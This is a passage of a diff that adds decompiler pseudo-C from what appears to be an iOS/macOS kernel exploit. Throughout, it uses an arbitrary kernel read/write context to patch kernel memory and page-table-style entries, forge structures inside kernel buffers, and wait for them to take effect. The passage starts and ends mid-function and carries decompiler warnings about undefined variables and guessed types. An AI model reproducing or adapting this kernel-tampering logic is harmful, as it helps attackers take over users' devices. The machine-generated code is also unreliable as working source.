(__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( v198 ) + { + v284 = src_address[4]; + if ( (src_address[4] & 0xFFFFFFFFC000LL) != 0 ) + { + address[0] = src_address[4] & 0xFFFFFE000000LL | 0x20000000000445LL; + if ( (unsigned int)kwritebuf_last_1(a1, v186 + 8, (__int64)address, 8) ) + { + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, outputStruct, 8, input) ) + { + v199 = input[0] & 0xFFFF000000003FFFLL | v285; + v200 = *(_QWORD *)(a1 + 392); + v179[102] = (v286 | v284 & 0x1FFC000 | 0x2000000) + (v200 & outputStruct); + v179[103] = v199; + goto LABEL_320; + } + v182 = 163855; + } + else + { + v182 = 163856; + } + } + } + } + else + { + v182 = 0xFFFFFFFFLL; + } + } + } + sub_36E4C(a1, v196, LODWORD(size[0])); + } + else + { + v182 = 708617; + } + goto LABEL_315; + } + v200 = *(_QWORD *)(a1 + 392); +LABEL_320: + v201 = target_address[0] & 0xFFFF000000003FFFLL | v287; + v179[95] = v184; + v179[96] = v181; + v179[97] = v186; + v179[98] = v286; + v179[99] = *(_QWORD *)v295; + v179[100] = (v286 | v288 & 0x1FFC000) + (v200 & *(_QWORD *)v295); + v179[101] = v201; + v179[162] = ((v290 >> 11) & 0x3FF8) + v300; + v179[163] = v290; + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000) ) + { +LABEL_382: + v232 = krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000); + v233 = *(_QWORD *)(a1 + 7512); + v234 = *(_QWORD **)(v233 + 600); + v235 = *(_QWORD *)(v233 + 608); + if ( v232 ) + { + if ( *(_QWORD *)(a1 + 344) <= 0x2711FFFFFFFFFFuLL ) + v236 = 832; + else + v236 = 848; + v1 = sub_38870((struct_krwCtx *)a1, 0x23B080000uLL, (__int64)inputStruct); + if ( (_DWORD)v1 ) + goto LABEL_431; + v303 = *(_QWORD *)inputStruct; + v237 = *(_QWORD *)(v233 + 936); + v294 = *(_QWORD **)(v233 + 1104); + *(_QWORD *)v299 = *(_QWORD *)(v233 + 992); + v238 = *(_DWORD *)(a1 + 384); + v1 = sub_18DF0(a1, *(_QWORD *)(v233 + 344), src_address); + if ( (_DWORD)v1 ) + goto LABEL_430; + v239 = src_address[0]; + v240 = (char *)v234 + LOBYTE(src_address[0]); + v241 = v240 + 3072; + v242 = v235 + LOBYTE(src_address[0]) + 3072; + v243 = 12800LL - LOBYTE(src_address[0]); + v244 = *(_QWORD *)(v233 + 880); + v234[1984] = *(_QWORD *)(v233 + 368); + v234[1985] = 964; + v234[2009] = v242 + 5 * v236; + v234[2010] = *(_QWORD *)(v233 + 480); + v234[2011] = v239; + *((_QWORD *)v240 + 384) = *(_QWORD *)(v233 + 376); + *((_QWORD *)v240 + 386) = 0; + *((_QWORD *)v240 + 385) = 0; + *((_QWORD *)v240 + 414) = *(_QWORD *)(v233 + 368); + *((_QWORD *)v240 + 415) = v242 + v236; + if ( *(_BYTE *)v233 ) + v245 = *(_QWORD *)(v233 + 360); + else + v245 = *(_QWORD *)(v233 + 360) + 4LL; + *((_QWORD *)v240 + 416) = v245; + *(_OWORD *)(v240 + 3336) = xmmword_431D0; + *((_QWORD *)v240 + 419) = 16; + v246 = &v241[v236]; + *(_QWORD *)v246 = *(_QWORD *)(v233 + 848); + *((_QWORD *)v246 + 30) = *(_QWORD *)(v233 + 368); + *((_QWORD *)v246 + 32) = *(_QWORD *)(v233 + 464); + *(_OWORD *)&v241[v236 + 264] = xmmword_431D0; + *((_QWORD *)v246 + 35) = 16; + v247 = (__int64)&v241[v236 + v236]; + *(_QWORD *)v247 = *(_QWORD *)(v233 + 448); + *(_QWORD *)(v247 + 8) = *(_QWORD *)(v233 + 864); + *(_QWORD *)(v247 + 16) = 0; + *(_QWORD *)(v247 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v247 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v247 + 264) = xmmword_431D0; + *(_QWORD *)(v247 + 280) = 16; + v248 = v247 + v236; + *(_QWORD *)v248 = *(_QWORD *)(v233 + 344); + *(_QWORD *)(v248 + 8) = v239; + *(_QWORD *)(v248 + 16) = 0; + *(_QWORD *)(v248 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v248 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v248 + 264) = xmmword_431D0; + *(_QWORD *)(v248 + 280) = 16; + v249 = (_QWORD *)(v248 + v236); + *v249 = *(_QWORD *)(v233 + 832) + 224LL; + v249[30] = *(_QWORD *)(v233 + 432); + v249[32] = *(_QWORD *)(v233 + 472); + *(_OWORD *)(v248 + v236 + 264) = xmmword_431D0; + v249[35] = 16; + v250 = v248 + v236 + v236; + *(_QWORD *)v250 = 0; + *(_QWORD *)(v250 + 256) = *(_QWORD *)(v233 + 352); + *(_OWORD *)(v250 + 264) = xmmword_431E0; + *(_QWORD *)(v250 + 280) = 16; + if ( v236 - (__int64)v241 + v250 > v243 ) + { + v1 = 0xFFFFFFFFLL; + goto LABEL_430; + } + v269 = (_QWORD *)(*(_QWORD *)v299 + (unsigned int)(v238 - 16)); + *(_QWORD *)v244 = *(_QWORD *)(v233 + 552) + 224LL; + *(_QWORD *)(v244 + 8) = *(_QWORD *)(v233 + 416) + 224LL; + *(_QWORD *)(v244 + 16) = 56; + *(_QWORD *)(v244 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v244 + 256) = *(_QWORD *)(v233 + 496); + *(_OWORD *)(v244 + 264) = xmmword_431D0; + *(_QWORD *)(v244 + 280) = 16; + v270 = v244 + v236; + *(_QWORD *)v270 = *(_QWORD *)(v233 + 552) + 264LL; + *(_QWORD *)(v270 + 8) = *(_QWORD *)(v233 + 760); + *(_QWORD *)(v270 + 16) = 0; + *(_QWORD *)(v270 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v270 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v270 + 264) = xmmword_431D0; + *(_QWORD *)(v270 + 280) = 16; + v271 = v270 + v236; + *(_QWORD *)v271 = *(_QWORD *)(v233 + 520); + *(_QWORD *)(v271 + 8) = *(_QWORD *)(v233 + 552); + *(_QWORD *)(v271 + 16) = 0; + *(_QWORD *)(v271 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v271 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v271 + 264) = xmmword_431D0; + *(_QWORD *)(v271 + 280) = 16; + v272 = v271 + v236; + *(_QWORD *)v272 = 0; + *(_QWORD *)(v272 + 240) = *(_QWORD *)(v233 + 432); + *(_QWORD *)(v272 + 256) = *(_QWORD *)(v233 + 352); + *(_OWORD *)(v272 + 264) = xmmword_431E0; + *(_QWORD *)(v272 + 280) = 16; + *v294 = *(_QWORD *)(v233 + 504); + v294[1] = 0; + *(_QWORD *)v237 = *(_QWORD *)(v233 + 856); + *(_QWORD *)(v237 + 160) = 0; + *(_QWORD *)(v237 + 224) = *(_QWORD *)(v233 + 584) - 8LL; + *(_QWORD *)(v237 + 240) = *(_QWORD *)(v233 + 432); + *(_QWORD *)(v237 + 256) = *(_QWORD *)(v233 + 464); + *(_OWORD *)(v237 + 264) = xmmword_431E0; + *(_QWORD *)(v237 + 280) = 16; + *v269 = 0; + v269[1] = *(_QWORD *)(v233 + 368); + v273 = *(_QWORD *)(v233 + 1048); + *(_QWORD *)v273 = *(_QWORD *)(v233 + 448); + *(_QWORD *)(v273 + 8) = *(_QWORD *)(v233 + 416); + *(_QWORD *)(v273 + 16) = 0; + *(_QWORD *)(v273 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v273 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v273 + 264) = xmmword_431D0; + *(_QWORD *)(v273 + 280) = 16; + v274 = v273 + v236; + *(_QWORD *)v274 = *(_QWORD *)(v233 + 520); + *(_QWORD *)(v274 + 8) = *(_QWORD *)(v233 + 416); + *(_QWORD *)(v274 + 16) = 0; + *(_QWORD *)(v274 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v274 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v274 + 264) = xmmword_431D0; + *(_QWORD *)(v274 + 280) = 16; + v275 = v274 + v236; + *(_QWORD *)v275 = *(_QWORD *)(v233 + 544); + *(_QWORD *)(v275 + 8) = *(_QWORD *)(v233 + 872); + *(_QWORD *)(v275 + 16) = 0; + *(_QWORD *)(v275 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v275 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v275 + 264) = xmmword_431D0; + *(_QWORD *)(v275 + 280) = 16; + v276 = v275 + v236; + *(_QWORD *)(v276 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v276 + 256) = *(_QWORD *)(v233 + 440); + *(_OWORD *)(v276 + 264) = xmmword_431D0; + *(_QWORD *)(v276 + 280) = 16; + v277 = v276 + v236; + *(_QWORD *)v277 = *(_QWORD *)(v233 + 800); + *(_QWORD *)(v277 + 8) = *(_QWORD *)(v233 + 808); + *(_QWORD *)(v277 + 16) = 0; + *(_QWORD *)(v277 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v277 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v277 + 264) = xmmword_431D0; + *(_QWORD *)(v277 + 280) = 16; + v278 = v277 + v236; + *(_QWORD *)v278 = *(_QWORD *)(v233 + 416) + 224LL; + *(_QWORD *)(v278 + 16) = 0; + *(_QWORD *)(v278 + 240) = *(_QWORD *)(v233 + 432); + *(_QWORD *)(v278 + 256) = *(_QWORD *)(v233 + 472); + *(_OWORD *)(v278 + 264) = xmmword_431D0; + *(_QWORD *)(v278 + 280) = 16; + if ( *(_BYTE *)v233 ) + { + v279 = v242 >> 8; + } + else + { + v279 = v242 >> 8; + if ( !(unsigned int)sub_193C0(a1, *(_QWORD *)(v233 + 344) + 1LL, v242 >> 8) ) + { +LABEL_417: + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, *(_QWORD *)(v233 + 792), 8, &v343) ) + { +LABEL_428: + v1 = 163855; + goto LABEL_430; + } + v280 = 0; + while ( 1 ) + { + if ( (_QWORD)v343 == *(_QWORD *)(v233 + 808) ) + { + v1 = 0; +LABEL_430: + sub_38BCC(a1, (__int64)inputStruct); + goto LABEL_431; + } + if ( (v280 & 1) == 0 ) + { + if ( *(_BYTE *)v233 || (*(_DWORD *)(v303 + 912) & 0xF0) != 0 ) + { + v280 = 0; + goto LABEL_425; + } + sub_193C0(a1, *(_QWORD *)(v233 + 840), 0); + } + v280 = 1; +LABEL_425: + sub_2AABC(a1, 0x3E8u); + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, *(_QWORD *)(v233 + 792), 8, &v343) ) + goto LABEL_428; + } + } + *((_QWORD *)v241 + 32) = *(_QWORD *)(v233 + 360); + *(_BYTE *)v233 = 1; + } + sub_19354(a1, *(_QWORD *)(v233 + 344) + 1LL, v279); + goto LABEL_417; + } + if ( *(_QWORD *)(a1 + 344) <= 0x2711FFFFFFFFFFuLL ) + v251 = 832; + else + v251 = 848; + v1 = sub_18DF0(a1, *(_QWORD *)(v233 + 344), inputStruct); + if ( (_DWORD)v1 ) + goto LABEL_431; + v252 = *(_QWORD *)inputStruct; + v253 = (char *)v234 + inputStruct[0]; + v254 = v253 + 3072; + v255 = v235 + inputStruct[0] + 3072; + *((_QWORD *)v253 + 384) = *(_QWORD *)(v233 + 376); + *((_QWORD *)v253 + 386) = 0; + *((_QWORD *)v253 + 385) = 0; + *((_QWORD *)v253 + 414) = *(_QWORD *)(v233 + 368); + *((_QWORD *)v253 + 415) = v255 + v251; + if ( *(_BYTE *)v233 ) + v256 = *(_QWORD *)(v233 + 360); + else + v256 = *(_QWORD *)(v233 + 360) + 4LL; + *((_QWORD *)v253 + 416) = v256; + *(_OWORD *)(v253 + 3336) = xmmword_431D0; + *((_QWORD *)v253 + 419) = 16; + v257 = &v254[v251]; + *(_QWORD *)v257 = *(_QWORD *)(v233 + 344); + *((_QWORD *)v257 + 1) = v252; + *((_QWORD *)v257 + 2) = 0; + *((_QWORD *)v257 + 30) = *(_QWORD *)(v233 + 368); + *((_QWORD *)v257 + 32) = *(_QWORD *)(v233 + 360); + *(_OWORD *)&v254[v251 + 264] = xmmword_431D0; + *((_QWORD *)v257 + 35) = 16; + v258 = (__int64)&v254[v251 + v251]; + *(_QWORD *)(v258 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v258 + 256) = *(_QWORD *)(v233 + 408); + *(_OWORD *)(v258 + 264) = xmmword_431D0; + *(_QWORD *)(v258 + 280) = 16; + v259 = v258 + v251; + *(_QWORD *)v259 = *(_QWORD *)(v233 + 416) + 264LL; + *(_QWORD *)(v259 + 8) = *(_QWORD *)(v233 + 760); + *(_QWORD *)(v259 + 16) = 0; + *(_QWORD *)(v259 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v259 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v259 + 264) = xmmword_431D0; + *(_QWORD *)(v259 + 280) = 16; + v260 = v259 + v251; + *(_QWORD *)v260 = *(_QWORD *)(v233 + 416) + 216LL; + *(_QWORD *)(v260 + 8) = v252; + *(_QWORD *)(v260 + 16) = 0; + *(_QWORD *)(v260 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v260 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v260 + 264) = xmmword_431D0; + *(_QWORD *)(v260 + 280) = 16; + v261 = (_QWORD *)(v260 + v251); + *v261 = *(_QWORD *)(v233 + 416) + 200LL; + v261[1] = v255 + 9 * v251; + v261[2] = 0; + v261[30] = *(_QWORD *)(v233 + 368); + v261[32] = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v260 + v251 + 264) = xmmword_431D0; + v261[35] = 16; + v262 = v260 + v251 + v251; + *(_QWORD *)v262 = *(_QWORD *)(v233 + 392) + 8LL; + *(_QWORD *)(v262 + 8) = 0; + *(_QWORD *)(v262 + 16) = 0; + *(_QWORD *)(v262 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v262 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v262 + 264) = xmmword_431D0; + *(_QWORD *)(v262 + 280) = 16; + v263 = v262 + v251; + *(_QWORD *)(v263 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v263 + 256) = *(_QWORD *)(v233 + 424); + *(_OWORD *)(v263 + 264) = xmmword_431D0; + *(_QWORD *)(v263 + 280) = 16; + v264 = v263 + v251; + *(_QWORD *)v264 = *(_QWORD *)(v233 + 400); + *(_OWORD *)(v264 + 8) = xmmword_431F0; + *(_QWORD *)(v264 + 240) = *(_QWORD *)(v233 + 432); + *(_QWORD *)(v264 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v264 + 264) = xmmword_431D0; + *(_QWORD *)(v264 + 280) = 16; + v265 = v264 + v251; + *(_QWORD *)v265 = *(_QWORD *)(v233 + 800); + *(_QWORD *)(v265 + 8) = *(_QWORD *)(v233 + 808); + *(_QWORD *)(v265 + 16) = 0; + *(_QWORD *)(v265 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v265 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v265 + 264) = xmmword_431D0; + *(_QWORD *)(v265 + 280) = 16; + v266 = v265 + v251; + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 0x80000) ) + { + *(_QWORD *)v266 = *(_QWORD *)(v233 + 816); + *(_QWORD *)(v266 + 8) = *(_QWORD *)(v233 + 824); + *(_QWORD *)(v266 + 16) = 0; + *(_QWORD *)(v266 + 240) = *(_QWORD *)(v233 + 368); + *(_QWORD *)(v266 + 256) = *(_QWORD *)(v233 + 360); + *(_OWORD *)(v266 + 264) = xmmword_431D0; + *(_QWORD *)(v266 + 280) = 16; + v267 = (_QWORD *)(v266 + v251); + v267[30] = *(_QWORD *)(v233 + 368); + v267[32] = *(_QWORD *)(v233 + 440); + *(_OWORD *)(v266 + v251 + 264) = xmmword_431D0; + v267[35] = 16; + v266 += v251 + v251; + } + *(_QWORD *)v266 = 0; + *(_QWORD *)(v266 + 256) = *(_QWORD *)(v233 + 352); + *(_OWORD *)(v266 + 264) = xmmword_431E0; + *(_QWORD *)(v266 + 280) = 16; + if ( *(_BYTE *)v233 ) + { + v268 = v255 >> 8; + } + else + { + v268 = v255 >> 8; + if ( !(unsigned int)sub_193C0(a1, *(_QWORD *)(v233 + 344) + 1LL, v268) ) + goto LABEL_407; + *((_QWORD *)v254 + 32) = *(_QWORD *)(v233 + 360); + } + sub_19354(a1, *(_QWORD *)(v233 + 344) + 1LL, v268); + while ( 1 ) + { +LABEL_407: + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, *(_QWORD *)(v233 + 792), 8, src_address) ) + { + v1 = 163855; + goto LABEL_431; + } + if ( src_address[0] == *(_QWORD *)(v233 + 808) ) + break; + sub_2AABC(a1, 0x3E8u); + } + v1 = 0; +LABEL_431: + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = 708617; + v281 = *(_QWORD *)(a1 + 7512); + *(_DWORD *)inputStruct = 552; + if ( *(_QWORD *)(a1 + 280) && *(_QWORD *)(a1 + 288) ) + { + v282 = sub_37210(a1, (unsigned int *)inputStruct); + if ( !v282 ) + goto LABEL_27; + v283 = v282; + if ( !(unsigned int)kwritebuf_last_1(a1, v282, v281 + 760, *(unsigned int *)inputStruct) ) + { + v1 = 163856; + goto LABEL_27; + } + *(_QWORD *)(*(_QWORD *)(a1 + 280) + 352LL) = v283; + } + return 0; + } + v1 = 708617; + v202 = *(_QWORD *)(a1 + 7512); + v203 = *(_QWORD *)(v202 + 600); + v204 = *(_QWORD *)(v202 + 608); + LODWORD(size[0]) = 0x4000; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, *(_QWORD *)(v202 + 592), 8, &outputStruct) + || (v205 = *(_QWORD **)(a1 + 7512), + v206 = v205[74], + v207 = v205[96], + LODWORD(input[0]) = 0x4000, + !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v206, 8, v316)) + || (v208 = sub_18B14()) == 0 + || !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v208, 8, address) + || (v209 = sub_18B14()) == 0 ) + { +LABEL_370: + v1 = v47; + goto LABEL_27; + } + v210 = v209; + v301 = sub_3796C(a1, input); + if ( !v301 ) + goto LABEL_27; + sub_2183C(a1, v301 & ~*(_QWORD *)(a1 + 392), (__int64)&v343); + if ( !v211 ) + goto LABEL_369; + v212 = v345 & 0xFFFFFFFFC000LL; + if ( (v345 & 0xFFFFFFFFC000LL) == 0 ) + goto LABEL_369; + v296 = sub_3796C(a1, input); + if ( !v296 ) + { + v47 = 708617; +LABEL_369: + sub_36E4C(a1, v301, LODWORD(input[0])); + goto LABEL_370; + } + sub_2183C(a1, v296 & ~*(_QWORD *)(a1 + 392), (__int64)&v343); + if ( !v213 || (v291 = v345 & 0xFFFFFFFFC000LL, (v345 & 0xFFFFFFFFC000LL) == 0) ) + { +LABEL_368: + sub_36E4C(a1, v296, LODWORD(input[0])); + goto LABEL_369; + } + *(_QWORD *)v316 = *(_QWORD *)v316 & 0xFFFF000000003FFFLL | v212; + if ( !(unsigned int)kwritebuf_last_1(a1, v207, (__int64)v316, 8) + || (address[0] = address[0] & 0xFFFF000000003FFFLL | v291, + !(unsigned int)kwritebuf_last_1(a1, v301, (__int64)address, 8)) ) + { +LABEL_367: + v47 = 163856; + goto LABEL_368; + } + for ( i = 0; i != 0x4000; i += 8 ) + { + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v210 + i, 8, target_address) ) + goto LABEL_368; + if ( target_address[0] && !(unsigned int)kwritebuf_last_1(a1, v296 + i, (__int64)target_address, 8) ) + goto LABEL_367; + } + v205[159] = v301; + v205[160] = v296; + v1 = sub_19040((struct_krwCtx *)a1, *(_QWORD *)(v202 + 536), v202 + 880); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19128(a1, *(_QWORD *)(v202 + 544), *(_QWORD *)(v202 + 760)); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040((struct_krwCtx *)a1, *(_QWORD *)(v202 + 560), v202 + 936); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040((struct_krwCtx *)a1, *(_QWORD *)(v202 + 568), v202 + 992); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040((struct_krwCtx *)a1, *(_QWORD *)(v202 + 576), v202 + 1048); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040((struct_krwCtx *)a1, *(_QWORD *)(v202 + 584), v202 + 1104); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_19040((struct_krwCtx *)a1, *(_QWORD *)(v202 + 528) & ~*(_QWORD *)(a1 + 392), v202 + 1160); + if ( (_DWORD)v1 ) + goto LABEL_27; + *(_QWORD *)((*(_QWORD *)(a1 + 392) & *(_QWORD *)(v202 + 528)) + *(_QWORD *)(v202 + 1160)) = 16424; + v302 = (__int64 *)calloc(0x800u, 8u); + if ( !v302 ) + { + v1 = 708617; + goto LABEL_27; + } + v215 = 0; + *(_QWORD *)v297 = *(_QWORD *)(v202 + 304) - *(_QWORD *)(v202 + 272); + while ( 2 ) + { + v216 = sub_37210(a1, (unsigned int *)size); + if ( !v216 ) + { + v1 = 708617; + goto LABEL_378; + } + v217 = v216; + sub_2183C(a1, v216 & ~*(_QWORD *)(a1 + 392), (__int64)&v343); + v218 = v345 & 0xFFFFFFFFC000LL; + if ( v219 ) + v220 = v218 == 0; + else + v220 = 1; + if ( v220 ) + { + v1 = 0xFFFFFFFFLL; + goto LABEL_378; + } + v221 = v218 + *(_QWORD *)v297; + if ( (unsigned __int64)(v218 + *(_QWORD *)v297 + 0x7FFDFFFFFFLL) < 0xFFDFFFFFFLL ) + goto LABEL_356; + v302[v215++] = v217; + if ( v215 != 2048 ) + continue; + break; + } + if ( !v221 ) + { + v1 = 0xFFFFFFFFLL; +LABEL_379: + v229 = (unsigned int)v215; + v230 = v302; + do + { + v231 = *v230++; + sub_36E4C(a1, v231, LODWORD(size[0])); + --v229; + } + while ( v229 ); +LABEL_381: + free(v302); + if ( (_DWORD)v1 ) + goto LABEL_27; + goto LABEL_382; + } +LABEL_356: + v289 = *(_QWORD *)(a1 + 392); + v292 = *(_QWORD *)(v202 + 416); + v298 = sub_18EA4(a1, v292, 0, 1); + if ( !v298 ) + { + v1 = 0xFFFFFFFFLL; + goto LABEL_377; + } + *(_OWORD *)&v339[16] = 0u; + *(_OWORD *)v339 = 0u; + v338 = 0u; + v337 = 0u; + v336 = 0u; + v335 = 0u; + v334 = 0u; + v333 = 0u; + v332 = 0u; + v331 = 0u; + v330 = 0u; + v329 = 0u; + v328 = 0u; + v327 = 0u; + v326 = 0u; + *(_OWORD *)&inputStruct[8] = 0u; + v222 = *(_QWORD *)(v202 + 536); + *(_QWORD *)inputStruct = *(_QWORD *)(v202 + 368); + *(_QWORD *)&v337 = v222; + v223 = *(_QWORD *)(v202 + 560); + *((_QWORD *)&v337 + 1) = *(_QWORD *)(v202 + 480); + *(_QWORD *)&v338 = v223; + DWORD2(v338) = 819796357; + *(_DWORD *)v339 = 3145728; + *(_OWORD *)&v339[8] = xmmword_43190; + v224 = *(_QWORD *)(v202 + 760); + *(_QWORD *)v293 = v289 & v292; + v341 = *(_QWORD *)(v202 + 456); + v340 = v224; + if ( !(unsigned int)kwritebuf_last_1(a1, *(_QWORD *)v293 + v217, (__int64)inputStruct, 280) ) + { + v1 = 163856; + goto LABEL_377; + } + v225 = *(_QWORD *)v293 + v221; + v1 = sub_19128(a1, v225 & ~*(_QWORD *)(a1 + 392), v218); + if ( (_DWORD)v1 ) + { +LABEL_377: + sub_36E4C(a1, v217, LODWORD(size[0])); +LABEL_378: + if ( !(_DWORD)v215 ) + goto LABEL_381; + goto LABEL_379; + } + v226 = *(_QWORD *)(v202 + 480); + src_address[0] = *(_QWORD *)(v202 + 488); + src_address[1] = 964; + v227 = *(_QWORD *)(v202 + 568) + (unsigned int)(*(_DWORD *)(a1 + 384) - 16); + memset(&src_address[28], 0, 56); + memset(&src_address[2], 0, 184); + src_address[25] = v227; + *(_OWORD *)&src_address[26] = v226; + v1 = sub_19040((struct_krwCtx *)a1, *(_QWORD *)(v202 + 552), v202 + 1216); + if ( !(_DWORD)v1 ) + { + memcpy(*(void **)(v202 + 1216), src_address, 0x118u); + *(_DWORD *)(v203 + 16192) = 16; + *(_QWORD *)(v203 + 16200) = v204 + 16208; + *(_QWORD *)(v203 + 16208) = v225 >> 14; + *(_QWORD *)(v203 + 16216) = v298 >> 14; + *(_OWORD *)(v203 + 16224) = xmmword_431A0; + v228 = vdupq_n_s64(v204); + *(_DWORD *)(v203 + 16288) = 36; + *(_QWORD *)(v203 + 16296) = *(_QWORD *)(v202 + 512); + *(int64x2_t *)(v202 + 832) = vaddq_s64(v228, (int64x2_t)xmmword_431C0); + *(int64x2_t *)(v202 + 848) = vaddq_s64(v228, (int64x2_t)xmmword_431B0); + *(_QWORD *)(v202 + 864) = v225; + *(_QWORD *)(v202 + 872) = outputStruct; + goto LABEL_378; + } +LABEL_27: + *(_QWORD *)(a1 + 7512) = 0; + free(v4); + return v1; +} +// 16B40: variable 'v87' is possibly undefined +// 16B68: variable 'v89' is possibly undefined +// 17804: variable 'v183' is possibly undefined +// 1785C: variable 'v187' is possibly undefined +// 17890: variable 'v189' is possibly undefined +// 178CC: variable 'v190' is possibly undefined +// 17904: variable 'v191' is possibly undefined +// 17924: variable 'v192' is possibly undefined +// 17A20: variable 'v197' is possibly undefined +// 17A68: variable 'v198' is possibly undefined +// 17CCC: variable 'v211' is possibly undefined +// 17D08: variable 'v213' is possibly undefined +// 17EF0: variable 'v219' is possibly undefined +// 42FA0: using guessed type __int128 xmmword_42FA0; +// 42FB0: using guessed type __int128 xmmword_42FB0; +// 42FC0: using guessed type __int128 xmmword_42FC0; +// 42FD0: using guessed type __int128 xmmword_42FD0; +// 42FE0: using guessed type __int128 xmmword_42FE0; +// 42FF0: using guessed type __int128 xmmword_42FF0; +// 43000: using guessed type __int128 xmmword_43000; +// 43010: using guessed type __int128 xmmword_43010; +// 43020: using guessed type __int128 xmmword_43020; +// 43030: using guessed type __int128 xmmword_43030; +// 43040: using guessed type __int128 xmmword_43040; +// 43050: using guessed type __int128 xmmword_43050; +// 43060: using guessed type __int128 xmmword_43060; +// 43070: using guessed type __int128 xmmword_43070; +// 43080: using guessed type __int128 xmmword_43080; +// 43090: using guessed type __int128 xmmword_43090; +// 430A0: using guessed type __int128 xmmword_430A0; +// 430B0: using guessed type __int128 xmmword_430B0; +// 430C0: using guessed type __int128 xmmword_430C0; +// 430D0: using guessed type __int128 xmmword_430D0; +// 430E0: using guessed type __int128 xmmword_430E0; +// 430F0: using guessed type __int128 xmmword_430F0; +// 43100: using guessed type __int128 xmmword_43100; +// 43110: using guessed type __int128 xmmword_43110; +// 43120: using guessed type __int128 xmmword_43120; +// 43130: using guessed type __int128 xmmword_43130; +// 43140: using guessed type __int128 xmmword_43140; +// 43150: using guessed type __int128 xmmword_43150; +// 43160: using guessed type __int128 xmmword_43160; +// 43170: using guessed type __int128 xmmword_43170; +// 43180: using guessed type __int128 xmmword_43180; +// 43190: using guessed type __int128 xmmword_43190; +// 431A0: using guessed type __int128 xmmword_431A0; +// 431B0: using guessed type __int128 xmmword_431B0; +// 431C0: using guessed type __int128 xmmword_431C0; +// 431D0: using guessed type __int128 xmmword_431D0; +// 431E0: using guessed type __int128 xmmword_431E0; +// 431F0: using guessed type __int128 xmmword_431F0; +// 43750: using guessed type __int128 xmmword_43750; + +//----- (0000000000018B14) ---------------------------------------------------- +unsigned __int64 sub_18B14() +{ + __int64 v0; // x0 + __int64 v1; // x1 + __int64 v2; // x20 + struct_krwCtx *v3; // x21 + unsigned __int64 v4; // x19 + unsigned __int64 v5; // x23 + int v6; // w22 + int v7; // w24 + _BOOL4 has_flag; // w0 + unsigned __int64 v10; // x0 + __int64 v11; // x28 + __int64 v12; // x26 + __int64 v13; // x27 + unsigned __int64 v14; // x8 + __int64 v15; // x0 + unsigned __int64 v16; // x8 + unsigned __int64 v17; // x9 + bool v18; // zf + __int64 v19; // x22 + __int64 v20; // x0 + __int64 v22; // [xsp+8h] [xbp-4078h] BYREF + __int64 v23; // [xsp+10h] [xbp-4070h] BYREF + __int64 v24; // [xsp+18h] [xbp-4068h] BYREF + _QWORD v25[2048]; // [xsp+20h] [xbp-4060h] BYREF + + v0 = ((__int64 (*)(void))__chkstk_darwin)(); + v2 = v1; + v3 = (struct_krwCtx *)v0; + v4 = *(_QWORD *)(v0 + 6632); + v5 = *(_QWORD *)(v0 + 6640); + v6 = number_of_cpus(); + if ( krw_ctx_has_flag(v3, 83886088) ) + { + v7 = 2047; + } + else + { + has_flag = krw_ctx_has_flag(v3, 1572864); + if ( v6 <= 7 || !has_flag ) + v7 = 7; + else + v7 = 2047; + } + v10 = sub_21388(v3); + if ( v10 && (unsigned int)kreadbuf_last_1(v3, v10, 8, &v24) ) + { + if ( v4 < v5 ) + { + v11 = 0; + v12 = 0; + v13 = 0; + while ( 1 ) + { + v14 = *(_QWORD *)&v7 & (v4 >> 36); + if ( v24 + 8 * v14 != v12 ) + { + v12 = v24 + 8 * v14; + if ( !(unsigned int)kreadbuf_last_1(v3, v12, 8, &v23) ) + return 0; + } + if ( (v23 & 1) == 0 ) + break; + v15 = sub_386AC(v3, 